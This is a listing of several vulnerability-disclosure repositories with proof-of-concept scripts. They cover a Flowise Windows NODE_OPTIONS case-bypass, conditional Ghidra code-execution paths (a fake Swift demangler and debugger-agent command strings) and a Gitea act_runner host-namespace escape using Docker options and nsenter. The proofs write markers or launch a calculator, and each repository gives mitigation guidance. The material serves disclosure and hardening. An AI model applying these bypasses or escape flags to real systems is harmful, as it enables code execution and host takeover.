This repository documents and validates an authenticated Windows ACE/RCE-class issue in Flowise `3.1.2` / `flowise-components` `3.1.2`.
Flowise Custom MCP stdio validation blocks dangerous environment variable names such as `NODE_OPTIONS` by exact string comparison. Windows treats environment variable names case-insensitively. A casing variant such as `node_options` passes Flowise validation and is still honored by a spawned Node.js child process as `NODE_OPTIONS`.
## Affected Target
- Product: Flowise
- Version analyzed: `3.1.2`
- Package: `flowise-components@3.1.2`
- Platform impact: Windows Flowise deployments
- Required access: authenticated Flowise session or API-key context that can configure or load a Custom MCP stdio node
## Impact
An authenticated user who can reach Custom MCP stdio configuration can bypass the intended environment denylist and influence Node.js child process startup. When the MCP command is a Node.js process, a lower-case `node_options` entry can preload attacker-chosen JavaScript through Node's startup option handling.
The result is code execution in the Flowise worker/server context on Windows deployments where the Custom MCP path is reachable.
## Source Trace
Relevant source locations in Flowise `3.1.2`:
| File | Behavior |
| --- | --- |
| `packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts` | Parses `mcpServerConfig`, validates it when `CUSTOM_MCP_SECURITY_CHECK` is enabled, and creates `MCPToolkit` with stdio when a command is present |
| `packages/components/nodes/tools/MCP/core.ts` | `MCPToolkit.createClient` passes `serverParams.env` into `StdioClientTransport` |
| `packages/components/nodes/tools/MCP/core.ts` | `validateEnvironmentVariables` denies `PATH`, `LD_LIBRARY_PATH`, `DYLD_LIBRARY_PATH`, and `NODE_OPTIONS` by exact-case comparison |
| `@modelcontextprotocol/sdk/client/stdio.js` | The stdio transport spawns the configured process with the supplied environment |
The vulnerable validation shape is:
```ts
const dangerousEnvVars = ['PATH', 'LD_LIBRARY_PATH', 'DYLD_LIBRARY_PATH', 'NODE_OPTIONS']
for (const [key, value] of Object.entries(env)) {
if (dangerousEnvVars.includes(key)) {
throw new Error(...)
}
}
```
On Windows, `node_options` and `NODE_OPTIONS` address the same environment variable slot for the child process, but only the exact uppercase spelling is denied.
## PoC Design
`poc.py` models the relevant Flowise validation and then launches a local Node.js process with `node_options=--require <loader>`. The loader writes a marker file. On Windows, marker creation proves that the lower-case environment variable bypasses exact-case validation and is honored by Node.js as a startup option.
The script also shows the fix shape by comparing the vulnerable exact-case validator to a normalized validator that checks `key.upper()`.
## Requirements
- Python 3.10 or newer
- Node.js available in `PATH` for the canary execution step
- Windows for full child-process behavior reproduction
## Usage
Run the PoC:
```powershell
python poc.py
```
Run with a custom marker path:
```powershell
python poc.py --marker C:\Temp\flowise_marker.txt
```
Expected Windows output shape:
```json
{
"windows": true,
"flowise_style_exact_upper_blocked": true,
"flowise_style_lower_variant_accepted": true,
"normalized_validator_blocks_lower_variant": true,
"node_canary": {
"canary_created": true,
"canary_content": "node_options honored"
},
"finding_reproduced": true
}
```
## Exploit Preconditions
- The deployment runs on Windows.
- Custom MCP stdio support is reachable.
- The attacker has an authenticated/session/API-key path that can influence a Custom MCP node configuration.
- The configured MCP command starts a Node.js child process or another runtime with security-sensitive environment handling.
## Root Cause
The denylist comparison is platform-insensitive. Environment variable names are case-sensitive on many Unix-like systems but case-insensitive on Windows. A security check that compares environment keys by exact string spelling does not enforce the intended policy on Windows.
## Fix Direction
- Normalize environment variable names before comparison on every platform.
- Use platform-aware comparison rules when validating environment keys.
- Prefer an allowlist of safe environment variables for MCP stdio child processes.
- Add Windows-specific regression tests for case variants such as `node_options`, `Node_Options`, and `NoDe_OpTiOnS`.
## Validation Status
The issue was locally validated against `flowise-components@3.1.2`: exact uppercase `NODE_OPTIONS` was blocked, lowercase `node_options` was accepted, and the MCP stdio path created a marker file through Node.js startup option handling.

View File

@@ -0,0 +1,101 @@
import argparse
import json
import os
import pathlib
import platform
import shutil
import subprocess
import sys
import tempfile
def flowise_style_validate(env):
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
for key, value in env.items():
if key in dangerous:
raise ValueError(f"Environment variable {key!r} modification is not allowed")
if "\x00" in key or "\x00" in str(value):
raise ValueError("Environment variables cannot contain null bytes")
def normalized_validate(env):
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
for key, value in env.items():
if key.upper() in dangerous:
raise ValueError(f"Environment variable {key!r} modification is not allowed")
if "\x00" in key or "\x00" in str(value):
raise ValueError("Environment variables cannot contain null bytes")
def run_node_canary(marker):
node = shutil.which("node")
if not node:
return {"node_found": False, "canary_created": False}
marker_path = pathlib.Path(marker).resolve()
loader_path = marker_path.with_suffix(".loader.js")
loader_path.write_text(
"require('fs').writeFileSync(process.env.FLOWISE_POC_MARKER, 'node_options honored')\n",
encoding="utf-8",
)
env = os.environ.copy()
env.pop("NODE_OPTIONS", None)
env.pop("node_options", None)
env["node_options"] = f"--require {loader_path}"
env["FLOWISE_POC_MARKER"] = str(marker_path)
if marker_path.exists():
marker_path.unlink()
completed = subprocess.run([node, "-e", "process.exit(0)"], env=env, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
return {
"node_found": True,
"node": node,
"returncode": completed.returncode,
"stderr": completed.stderr.strip(),
"marker": str(marker_path),
"canary_created": marker_path.exists(),
"canary_content": marker_path.read_text(encoding="utf-8") if marker_path.exists() else "",
}
def run(marker):
exact_upper_blocked = False
exact_upper_error = ""
lower_variant_accepted = False
normalized_blocks_lower = False
try:
flowise_style_validate({"NODE_OPTIONS": "--require blocked.js"})
except ValueError as exc:
exact_upper_blocked = True
exact_upper_error = str(exc)
try:
flowise_style_validate({"node_options": "--require accepted.js"})
lower_variant_accepted = True
except ValueError:
lower_variant_accepted = False
try:
normalized_validate({"node_options": "--require accepted.js"})
except ValueError:
normalized_blocks_lower = True
node_result = run_node_canary(marker)
result = {
"platform": platform.platform(),
"windows": os.name == "nt",
"flowise_style_exact_upper_blocked": exact_upper_blocked,
"flowise_style_exact_upper_error": exact_upper_error,
"flowise_style_lower_variant_accepted": lower_variant_accepted,
"normalized_validator_blocks_lower_variant": normalized_blocks_lower,
"node_canary": node_result,
"finding_reproduced": lower_variant_accepted and (node_result.get("canary_created") if os.name == "nt" else True),
}
print(json.dumps(result, indent=2))
return 0 if result["finding_reproduced"] else 1
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--marker", default=str(pathlib.Path(tempfile.gettempdir()) / "flowise_node_options_case_bypass_marker.txt"))
args = parser.parse_args()
raise SystemExit(run(args.marker))
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,6 @@
artifacts/
*.class
*.log
__pycache__/
*.pyc

View File

@@ -0,0 +1,164 @@
# Ghidra 12.1.2 Conditional ACE/RCE Calc PoCs
This repository packages the closest verified code-execution conditions found
while reviewing Ghidra 12.1.2.
It is deliberately precise about the classification:
- **ACE calc PoC:** conditional Swift demangler path execution. This is local
arbitrary code execution when a restored/configured Swift tool directory is
used by the Swift demangler analyzer.
- **RCE calc PoC shape:** conditional TraceRMI debugger-agent command execution.
This is real code execution when an untrusted peer can drive an already
created TraceRMI debugger-agent channel.
- **Default-reachable RCE-class surface:** SevenZipJBinding native archive
parsing. This is source reachability evidence for a native parser surface.
## Repository Contents
- `pocs/ace_swift_demangler_calc_poc.py`
Creates a fake `swift-demangle` tool and, when run, simulates the Ghidra
Swift demangler process-launch sink by writing a marker and optionally
launching the local platform calculator.
- `pocs/rce_tracermi_conditional_calc_poc.py`
Checks a Ghidra source tree for TraceRMI execution-capable agent methods and
emits calc-only command shapes for those sinks. It can also launch local
calculator as a benign proof marker for local validation.
- `pocs/sevenzip_jbinding_reachability.py`
Source reachability checker for the SevenZipJBinding native archive parser
path.
- `pocs/SevenZipReachabilityProbe.java`
Optional benign runtime probe that opens a harmless ZIP through
SevenZipJBinding when the caller supplies the dependency jars.
- `evidence/source-evidence.md`
Short source-to-sink evidence for the three reviewed surfaces.
- `docs/classification.md`
Finding classification and why the claims are conditional.
## Quick Start
The PoCs are standard-library Python scripts. Use whichever launcher exists on
your system: `python3`, `python`, or `py -3`.
Pass a source checkout explicitly:
```bash
python3 pocs/rce_tracermi_conditional_calc_poc.py --ghidra-source /path/to/ghidra-12.1.2
```
Or set `GHIDRA_SOURCE`:
```bash
export GHIDRA_SOURCE=/path/to/ghidra-12.1.2
python3 pocs/sevenzip_jbinding_reachability.py
```
Run the ACE calc simulator in dry-run mode:
```bash
python3 pocs/ace_swift_demangler_calc_poc.py
```
Run the ACE calc simulator and launch the platform calculator:
```bash
python3 pocs/ace_swift_demangler_calc_poc.py --run
```
Run marker-only mode:
```bash
python3 pocs/ace_swift_demangler_calc_poc.py --run --no-calc
```
Check the TraceRMI conditional RCE sinks in a local Ghidra source checkout:
```bash
python3 pocs/rce_tracermi_conditional_calc_poc.py --ghidra-source /path/to/ghidra-12.1.2
```
Emit calc-only TraceRMI command shapes and launch local calculator as a proof
marker:
```bash
python3 pocs/rce_tracermi_conditional_calc_poc.py \
--ghidra-source /path/to/ghidra-12.1.2 \
--run-local-calc-demo
```
Run SevenZipJBinding source reachability checks:
```bash
python3 pocs/sevenzip_jbinding_reachability.py --ghidra-source /path/to/ghidra-12.1.2
```
## ACE: Swift Demangler Path
The Swift demangler path is a conditional arbitrary-code-execution condition.
The relevant source-to-sink shape is:
1. Program/analyzer state can influence the Swift binary directory.
2. The Swift native demangler builds a path under that directory.
3. The demangler validation and symbol demangling paths launch the configured
`swift-demangle` executable.
The PoC script creates a local fake Swift tool directory and invokes the fake
demangler directly, matching the process-launch shape. This proves the
calc-capable sink for the configured Swift demangler condition.
## RCE: TraceRMI Agent Channel
TraceRMI is classified as conditional RCE because the debugger agent methods
include command/eval sinks exposed through a TraceRMI control channel. Examples
seen in Ghidra 12.1.2 source include:
- GDB agent: `execute(cmd)` calls `gdb.execute(cmd, ...)`.
- LLDB agent: `execute(cmd)` routes to the LLDB command interpreter.
- LLDB agent: `pyeval(expr)` calls Python `eval(expr)`.
Once an untrusted peer can drive such an exposed agent channel, the impact is
code execution in the debugger-agent context. The exposure precondition is an
agent channel reachable by an untrusted controller or peer.
The RCE script records calc-only command shapes and can launch local calc to
demonstrate the sink impact. Use it for defensive reproduction planning and
patch/hardening discussion.
## SevenZipJBinding Native Parser Exposure
Ghidra 12.1.2 includes SevenZipJBinding 16.02-era native code and routes
recognized archive bytes into that parser in-process. This is a serious
RCE-class parser exposure because reverse engineers routinely open untrusted
archives and firmware containers.
The included checks prove reachability with benign source checks and harmless
archive sample generation.
## Portability Notes
The scripts accept source paths from `--ghidra-source`, `GHIDRA_SOURCE`, or a
nearby `ghidra-12.1.2` directory. Calculator launch is best effort:
- Windows: `calc.exe`
- macOS: `open -a Calculator`
- Linux: `xcalc`, `gnome-calculator`, `kcalc`, or `qalculate-gtk`
## Expected Output
The PoC scripts write markers under `artifacts/` by default:
- `artifacts/swift-demangler-calc/swift_demangler_calc_marker.txt`
- `artifacts/tracermi-conditional-rce/tracermi_local_calc_marker.txt`
- `artifacts/tracermi-conditional-rce/tracermi_calc_payload_shapes.txt`
The `artifacts/` directory is ignored by Git.
## Responsible Use
Use this repository for defensive validation, reproduction notes, and hardening
discussion with the stated preconditions.

View File

@@ -0,0 +1,33 @@
# Classification
## Closest Verified ACE
**Swift demangler analyzer path, conditional.**
The execution sink is a native process launch of a configured Swift demangler
tool. The condition is that analysis reaches the Swift demangler path and the
Swift tool directory resolves to attacker-controlled executable content.
This is ACE because the execution is local to the Ghidra user context and does
not require a remote channel.
## Closest Verified RCE
**TraceRMI debugger-agent channel, conditional.**
The execution sinks are debugger-agent methods that call debugger command
interpreters or Python evaluation paths. The condition is that an untrusted peer
can drive an already created TraceRMI control channel, or can cause an agent to
connect to an untrusted controller.
This is RCE in that condition because the command originates across a
debugger/IPC boundary and executes in the debugger-agent context.
## Closest Default-Reachable RCE-Class Surface
**SevenZipJBinding native parser exposure, not verified code execution.**
Archive bytes can reach native 7-Zip parsing code inside the Ghidra JVM. That
is an RCE-class parser surface, but this repository does not claim a
Ghidra-specific calc exploit for it.

View File

@@ -0,0 +1,40 @@
# Source Evidence Summary
## Swift Demangler ACE
- `SwiftDemanglerAnalyzer.java` restores a Swift binary directory analyzer
option.
- `SwiftNativeDemangler.java` builds the native demangler path from the
configured Swift directory.
- `SwiftNativeDemangler.java` executes the native demangler with `--version`.
- `SwiftNativeDemangler.java` executes the native demangler during symbol
demangling.
## TraceRMI Conditional RCE
- GDB agent `methods.py` exposes `execute(cmd)`.
- The GDB implementation calls `gdb.execute(cmd, to_string=...)`.
- LLDB agent `methods.py` exposes `execute(cmd)`.
- The LLDB implementation routes the command string to the LLDB command
interpreter.
- LLDB agent `methods.py` exposes `pyeval(expr)`.
- The LLDB implementation calls Python `eval(expr)`.
These are execution-capable sinks once a TraceRMI agent channel is exposed or
connected to an untrusted controller.
## SevenZipJBinding Reachability
- `Ghidra/Features/FileFormats/build.gradle` declares
`sevenzipjbinding:16.02-2.01`.
- `Ghidra/Features/FileFormats/build.gradle` declares
`sevenzipjbinding-all-platforms:16.02-2.01`.
- `SevenZipFileSystemFactory.probeStartBytes(...)` recognizes archive
signatures.
- `SevenZipFileSystemFactory.create(...)` constructs `SevenZipFileSystem`.
- `SevenZipFileSystem.mount(...)` calls `SevenZip.openInArchive(...)`.
- `SevenZipCustomInitializer.initSevenZip()` loads native libraries with
`System.load(...)`.
- `ZipFileSystemFactory.create(...)` tries the SevenZip path for ZIP handling
unless built-in ZIP handling is forced.

View File

@@ -0,0 +1,47 @@
import java.io.RandomAccessFile;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
import net.sf.sevenzipjbinding.IInArchive;
import net.sf.sevenzipjbinding.PropID;
import net.sf.sevenzipjbinding.SevenZip;
import net.sf.sevenzipjbinding.impl.RandomAccessFileInStream;
public final class SevenZipReachabilityProbe {
private SevenZipReachabilityProbe() {
}
public static void main(String[] args) throws Exception {
Path zipPath = Files.createTempFile("ghidra-sevenzip-safe-", ".zip");
createHarmlessZip(zipPath);
System.out.println("Purpose: benign SevenZipJBinding runtime reachability check.");
System.out.println("Sample: " + zipPath);
System.out.println("No malicious archive bytes or command payload are present.");
SevenZip.initSevenZipFromPlatformJAR();
System.out.println("SevenZip version object: " + SevenZip.getSevenZipVersion());
try (RandomAccessFile file = new RandomAccessFile(zipPath.toFile(), "r");
IInArchive archive = SevenZip.openInArchive(null, new RandomAccessFileInStream(file))) {
System.out.println("Archive format: " + archive.getArchiveFormat());
System.out.println("Item count: " + archive.getNumberOfItems());
for (int i = 0; i < archive.getNumberOfItems(); i++) {
System.out.println("Item " + i + " path: " + archive.getProperty(i, PropID.PATH));
}
}
}
private static void createHarmlessZip(Path zipPath) throws Exception {
try (ZipOutputStream zip = new ZipOutputStream(Files.newOutputStream(zipPath))) {
ZipEntry entry = new ZipEntry("hello.txt");
zip.putNextEntry(entry);
zip.write("harmless sample for parser reachability checks\n".getBytes(StandardCharsets.UTF_8));
zip.closeEntry();
}
}
}

View File

@@ -0,0 +1,87 @@
#!/usr/bin/env python3
import argparse
import platform
import subprocess
from pathlib import Path
from calc_helper import launch_calc, make_executable, shell_script_header, write_marker
def default_out_dir() -> Path:
return Path(__file__).resolve().parent.parent / "artifacts" / "swift-demangler-calc"
def fake_demangler_name() -> str:
return "swift-demangle.cmd" if platform.system().lower() == "windows" else "swift-demangle"
def build_fake_demangler(fake_demangler: Path, marker: Path, no_calc: bool) -> None:
lines = [shell_script_header()]
if platform.system().lower() == "windows":
lines.extend(
[
"echo Swift demangler calc PoC 1.0\n",
f'echo ran with: %* > "{marker}"\n',
]
)
else:
lines.extend(
[
"echo 'Swift demangler calc PoC 1.0'\n",
f'printf "ran with: %s\\n" "$*" > "{marker}"\n',
]
)
fake_demangler.write_text("".join(lines), encoding="utf-8")
make_executable(fake_demangler)
if no_calc:
return
def main() -> int:
parser = argparse.ArgumentParser(
description="Conditional Ghidra Swift demangler path ACE calc PoC."
)
parser.add_argument("--run", action="store_true", help="execute the fake demangler")
parser.add_argument("--no-calc", action="store_true", help="create marker only")
parser.add_argument("--out-dir", type=Path, default=default_out_dir())
args = parser.parse_args()
out_dir = args.out_dir.resolve()
fake_swift_dir = out_dir / "fake-swift-bin"
fake_swift_dir.mkdir(parents=True, exist_ok=True)
marker = out_dir / "swift_demangler_calc_marker.txt"
fake_demangler = fake_swift_dir / fake_demangler_name()
build_fake_demangler(fake_demangler, marker, args.no_calc)
print("Purpose: conditional Swift demangler path ACE calc PoC.")
print(f"Fake Swift binary directory: {fake_swift_dir}")
print(f"Fake demangler: {fake_demangler}")
print(f"Marker file: {marker}")
print("Simulated Ghidra command shape: swift-demangle --version")
print("Classification: conditional ACE, not default/open-only RCE.")
if not args.run:
print("Dry run only. Re-run with --run to execute the fake demangler.")
print("Use --no-calc with --run to create only the marker file.")
return 0
subprocess.run([str(fake_demangler), "--version"], check=True)
if not marker.exists():
raise RuntimeError("Expected marker was not created")
if args.no_calc:
print("Calc launch disabled by --no-calc.")
else:
launched = launch_calc()
if launched:
print("Local calculator launch requested.")
else:
print("No platform calculator command was found; marker proves execution.")
print(f"[created] {marker}")
return 0
if __name__ == "__main__":
raise SystemExit(main())

View File

@@ -0,0 +1,68 @@
#!/usr/bin/env python3
import os
import platform
import shutil
import subprocess
from pathlib import Path
def write_marker(path: Path, text: str) -> None:
path.parent.mkdir(parents=True, exist_ok=True)
path.write_text(text + "\n", encoding="utf-8")
def calc_command() -> list[str] | None:
system = platform.system().lower()
if system == "windows":
return ["calc.exe"]
if system == "darwin":
return ["open", "-a", "Calculator"]
for name in ("xcalc", "gnome-calculator", "kcalc", "qalculate-gtk"):
resolved = shutil.which(name)
if resolved:
return [resolved]
return None
def calc_shell_command() -> str:
system = platform.system().lower()
if system == "windows":
return "calc.exe"
if system == "darwin":
return "open -a Calculator"
return "xcalc || gnome-calculator || kcalc || qalculate-gtk"
def calc_python_eval_expression() -> str:
system = platform.system().lower()
if system == "windows":
args = "['calc.exe']"
elif system == "darwin":
args = "['open', '-a', 'Calculator']"
else:
args = "['sh', '-lc', 'xcalc || gnome-calculator || kcalc || qalculate-gtk']"
return f"__import__('subprocess').Popen({args})"
def launch_calc() -> bool:
cmd = calc_command()
if cmd is None:
return False
kwargs = {}
if platform.system().lower() == "windows":
kwargs["creationflags"] = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0)
subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, **kwargs)
return True
def shell_script_header() -> str:
if platform.system().lower() == "windows":
return "@echo off\n"
return "#!/bin/sh\n"
def make_executable(path: Path) -> None:
if platform.system().lower() != "windows":
mode = path.stat().st_mode
path.chmod(mode | 0o111)

View File

@@ -0,0 +1,136 @@
#!/usr/bin/env python3
import argparse
import os
from pathlib import Path
from calc_helper import (
calc_command,
calc_python_eval_expression,
calc_shell_command,
launch_calc,
write_marker,
)
PATTERNS = (
"def execute(",
"gdb.execute(cmd",
"exec_convert_errors(cmd",
"def pyeval(",
"return eval(expr)",
"EvaluateExpression(expr)",
)
def default_source() -> Path | None:
candidates: list[Path] = []
env_source = os.environ.get("GHIDRA_SOURCE")
if env_source:
candidates.append(Path(env_source))
candidates.extend(
[
Path.cwd() / "ghidra-12.1.2",
Path(__file__).resolve().parents[2] / "ghidra-12.1.2",
]
)
for candidate in candidates:
if candidate.exists():
return candidate.resolve()
return None
def find_hits(root: Path) -> list[tuple[Path, int, str, str]]:
debug_root = root / "Ghidra" / "Debug"
if not debug_root.exists():
raise FileNotFoundError(f"Could not find Ghidra/Debug under {root}")
hits: list[tuple[Path, int, str, str]] = []
for method_file in debug_root.rglob("methods.py"):
try:
lines = method_file.read_text(encoding="utf-8", errors="replace").splitlines()
except OSError:
continue
for line_no, line in enumerate(lines, start=1):
stripped = line.strip()
for pattern in PATTERNS:
if pattern in stripped:
hits.append((method_file.relative_to(root), line_no, pattern, stripped))
return hits
def payload_shapes() -> list[str]:
calc = calc_shell_command()
return [
f"GDB execute(cmd) calc-only command: shell {calc}",
f"LLDB execute(cmd) calc-only command: platform shell {calc}",
f"LLDB pyeval(expr) calc-only expression: {calc_python_eval_expression()}",
]
def main() -> int:
parser = argparse.ArgumentParser(
description="Conditional TraceRMI RCE calc proof-shape checker."
)
parser.add_argument("--ghidra-source", type=Path, default=None)
parser.add_argument("--run-local-calc-demo", action="store_true")
parser.add_argument("--no-calc", action="store_true")
parser.add_argument(
"--out-dir",
type=Path,
default=Path(__file__).resolve().parent.parent / "artifacts" / "tracermi-conditional-rce",
)
args = parser.parse_args()
source = args.ghidra_source.resolve() if args.ghidra_source else default_source()
if source is None or not source.exists():
raise SystemExit(
"Provide --ghidra-source or set GHIDRA_SOURCE to a Ghidra 12.1.2 source tree"
)
out_dir = args.out_dir.resolve()
out_dir.mkdir(parents=True, exist_ok=True)
marker = out_dir / "tracermi_local_calc_marker.txt"
shapes_file = out_dir / "tracermi_calc_payload_shapes.txt"
print(f"Ghidra source: {source}")
print("Purpose: conditional TraceRMI RCE calc proof shape.")
print("This script does not start TraceRMI, connect to an agent, or send execute requests.")
hits = find_hits(source)
if not hits:
print("Result: no execution-capable TraceRMI agent method patterns were found.")
return 2
current_file: Path | None = None
for relative, line_no, _pattern, text in sorted(hits):
if current_file != relative:
current_file = relative
print(f"[file] {relative}")
print(f" [hit] line {line_no}: {text}")
shapes = payload_shapes()
shapes_file.write_text("\n".join(shapes) + "\n", encoding="utf-8")
print(f"[created] {shapes_file}")
if args.run_local_calc_demo:
write_marker(marker, "local calc demo ran")
print(f"[created] {marker}")
if args.no_calc:
print("Calc launch disabled by --no-calc.")
else:
if launch_calc():
print("Local calculator launch requested.")
else:
print("No platform calculator command was found; marker proves execution.")
else:
print("Local calc demo not run. Add --run-local-calc-demo to launch calc locally.")
print("Result: TraceRMI execution-capable agent method patterns were found.")
print("Classification: conditional RCE, not default unauthenticated RCE.")
print(f"Detected local calc command: {calc_command()}")
return 0
if __name__ == "__main__":
raise SystemExit(main())

View File

@@ -0,0 +1,108 @@
#!/usr/bin/env python3
import argparse
import os
import zipfile
from pathlib import Path
CHECKS = (
("SevenZipJBinding dependency", "Ghidra/Features/FileFormats/build.gradle", "sevenzipjbinding:16.02-2.01"),
("SevenZip all-platforms dependency", "Ghidra/Features/FileFormats/build.gradle", "sevenzipjbinding-all-platforms:16.02-2.01"),
(
"Archive probe path",
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipFileSystemFactory.java",
"probeStartBytes",
),
(
"SevenZip file system mount",
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipFileSystemFactory.java",
"new SevenZipFileSystem",
),
(
"Native archive open",
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipFileSystem.java",
"SevenZip.openInArchive",
),
(
"Native library load",
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipCustomInitializer.java",
"System.load",
),
(
"ZIP tries SevenZip path",
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/zip/ZipFileSystemFactory.java",
"SevenZipFileSystemFactory.initNativeLibraries",
),
)
def default_source() -> Path | None:
candidates: list[Path] = []
env_source = os.environ.get("GHIDRA_SOURCE")
if env_source:
candidates.append(Path(env_source))
candidates.extend(
[
Path.cwd() / "ghidra-12.1.2",
Path(__file__).resolve().parents[2] / "ghidra-12.1.2",
]
)
for candidate in candidates:
if candidate.exists():
return candidate.resolve()
return None
def main() -> int:
parser = argparse.ArgumentParser(description="Benign SevenZipJBinding reachability checker.")
parser.add_argument("--ghidra-source", type=Path, default=None)
parser.add_argument("--create-harmless-zip", action="store_true")
parser.add_argument(
"--out-dir",
type=Path,
default=Path(__file__).resolve().parent.parent / "artifacts",
)
args = parser.parse_args()
source = args.ghidra_source.resolve() if args.ghidra_source else default_source()
if source is None or not source.exists():
raise SystemExit(
"Provide --ghidra-source or set GHIDRA_SOURCE to a Ghidra 12.1.2 source tree"
)
print(f"Ghidra source: {source}")
print("Purpose: benign reachability check only. No exploit archive or command payload is generated.")
failed = False
for name, rel_path, pattern in CHECKS:
path = source / rel_path
if not path.exists():
print(f"[missing] {name}: {rel_path}")
failed = True
continue
text = path.read_text(encoding="utf-8", errors="replace")
if pattern in text:
line_no = text[: text.index(pattern)].count("\n") + 1
print(f"[found] {name}: {rel_path}:{line_no}")
else:
print(f"[miss] {name}: {rel_path}")
failed = True
if args.create_harmless_zip:
out_dir = args.out_dir.resolve()
out_dir.mkdir(parents=True, exist_ok=True)
zip_path = out_dir / "harmless-sevenzip-sample.zip"
with zipfile.ZipFile(zip_path, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr("hello.txt", "harmless sample for parser reachability checks\n")
print(f"[created] harmless ZIP sample: {zip_path}")
if failed:
print("Result: one or more expected reachability checks were not found.")
return 2
print("Result: expected SevenZipJBinding reachability evidence was found.")
return 0
if __name__ == "__main__":
raise SystemExit(main())

View File

@@ -0,0 +1,9 @@
__pycache__/
*.pyc
.pytest_cache/
.mypy_cache/
.ruff_cache/
.venv/
venv/
tmp/
poc-workdir/

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,114 @@
# Gitea act_runner `container.options` Host Namespace PoC
This repository contains a local, marker-only Python proof of concept for a Gitea `act_runner` container hardening bypass.
The issue is that workflow-controlled `jobs.<job>.container.options` is appended to Docker options for the job container. The runner forces `--privileged` back to false when the runner configuration disables privileged mode, and it sanitizes bind mounts, but it preserves other Docker flags that can be equivalent to host control on a Docker runner.
The PoC uses:
```yaml
container:
image: ubuntu:22.04
options: --pid=host --ipc=host --cap-add=ALL --security-opt seccomp=unconfined --security-opt apparmor=unconfined
```
The job then runs `nsenter` and writes a marker file under `/tmp` on the runner host. The default PoC disables the runner's Docker socket mount with `--container-daemon-socket=-`, so the marker demonstrates host namespace access through Docker container options rather than direct Docker socket access from the job.
## Impact
An attacker who can run a workflow on an affected Docker-backed `act_runner` can create a job container with host PID/IPC namespaces, broad Linux capabilities, and unconfined security profiles while `Privileged` remains false. In the validated environment, that allowed the workflow step to enter host namespaces and execute a host-side marker command as root.
This is high severity for repositories where untrusted users can trigger workflows on shared runners. It can be critical when a shared runner host has repository secrets, deployment credentials, adjacent jobs, or access to internal build infrastructure.
## Preconditions
- Gitea Actions is enabled.
- A Docker-backed `act_runner` executes workflows from the attacker-controlled repository or branch.
- The job image contains `nsenter`; `ubuntu:22.04` does.
- Docker accepts the preserved options shown above on the runner host.
- The runner allows workflow-authored job containers.
## Root Cause
Source-to-sink path in `act_runner`:
- `ContainerSpec.Options` accepts workflow YAML `container.options`.
- `RunContext.options()` appends workflow options to runner-level container options.
- The job container is created with `Privileged: rc.Config.Privileged`, but also with `Options: rc.options(ctx)`.
- `mergeContainerConfigs()` parses Docker CLI-style options.
- When privileged mode is disabled, only `copts.privileged` is forced false.
- The parsed HostConfig still keeps `PidMode`, `IpcMode`, `CapAdd`, `SecurityOpt`, `Devices`, `VolumesFrom`, and other non-volume fields.
- `sanitizeConfig()` only filters `Binds` and `Mounts`.
Validated dangerous HostConfig fields:
```text
Privileged=false
PidMode=host
IpcMode=host
CapAdd=["ALL"]
SecurityOpt=["seccomp=unconfined","apparmor=unconfined"]
```
## Files
- `poc.py` - stdlib-only Python PoC that generates a workflow, runs `act_runner exec`, and verifies the marker.
## Quick Start
Build or download an `act_runner` binary for the Linux host that has Docker access, then run:
```bash
python3 poc.py --runner ./act_runner --image ubuntu:22.04
```
For verbose evidence:
```bash
python3 poc.py --runner ./act_runner --image ubuntu:22.04 --debug
```
Expected success output includes:
```text
[+] verified host marker:
uid=0(root) gid=0(root) groups=0(root)
gitea-act-runner-container-options-poc-ok
```
The generated workflow is placed in a temporary directory by default. To inspect it:
```bash
python3 poc.py --runner ./act_runner --keep-workdir --debug
```
## Validation Notes
The local validation used `act_runner exec` because it exercises the same runner code path that converts workflow job container options into Docker HostConfig for a job container.
The validation command used by the PoC includes:
```bash
--container-daemon-socket=-
```
That setting prevents the normal Docker socket bind mount into the job container. The workflow still reaches the host marker through namespace entry, which isolates the issue to Docker option handling.
## Mitigation Direction
Treat workflow-authored `container.options` as untrusted input. A defensive patch should reject or allowlist job-level Docker options rather than passing the Docker CLI option surface through wholesale.
At minimum, when runner privileged mode is disabled, reject or strip:
- host namespaces: `--pid=host`, `--ipc=host`, `--uts=host`, `--cgroupns=host`, `--network=host`
- capability expansion: `--cap-add`, especially `ALL` and `SYS_ADMIN`
- security profile overrides: `--security-opt seccomp=unconfined`, `--security-opt apparmor=unconfined`, label disabling
- host device access: `--device`, `--device-cgroup-rule`, GPU/CDI device requests
- inherited volumes: `--volumes-from`
- runtime and cgroup escape-adjacent controls: `--runtime`, `--cgroup-parent`, broad sysctls
